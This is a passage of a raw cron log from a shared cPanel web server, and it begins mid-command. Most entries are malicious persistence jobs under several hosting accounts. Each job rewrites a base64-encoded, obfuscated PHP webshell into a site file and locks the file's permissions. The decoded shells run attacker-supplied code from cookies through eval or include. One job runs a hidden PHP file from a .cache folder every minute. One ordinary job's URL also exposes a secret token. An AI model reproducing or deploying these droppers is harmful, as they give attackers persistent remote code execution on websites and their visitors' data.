"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:37:01 medusa CROND[22038]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:37:01 medusa CROND[22044]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 09:37:01 medusa CROND[22045]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:37:01 medusa CROND[22049]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:38:02 medusa CROND[14452]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 09:38:02 medusa CROND[14487]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:38:02 medusa CROND[14502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:38:02 medusa CROND[14503]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:38:02 medusa CROND[14505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:38:02 medusa CROND[14506]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:38:02 medusa CROND[14507]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:38:02 medusa CROND[14508]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:38:02 medusa CROND[14509]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:38:02 medusa CROND[14512]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:38:02 medusa CROND[14513]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:38:02 medusa CROND[14514]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:38:02 medusa CROND[14515]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:39:02 medusa CROND[6348]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 09:39:02 medusa CROND[6381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:39:02 medusa CROND[6382]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:39:02 medusa CROND[6384]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 09:39:02 medusa CROND[6385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:39:02 medusa CROND[6388]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:39:02 medusa CROND[6389]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 09:39:02 medusa CROND[6396]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:39:02 medusa CROND[6397]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:39:02 medusa CROND[6398]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:39:02 medusa CROND[6399]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
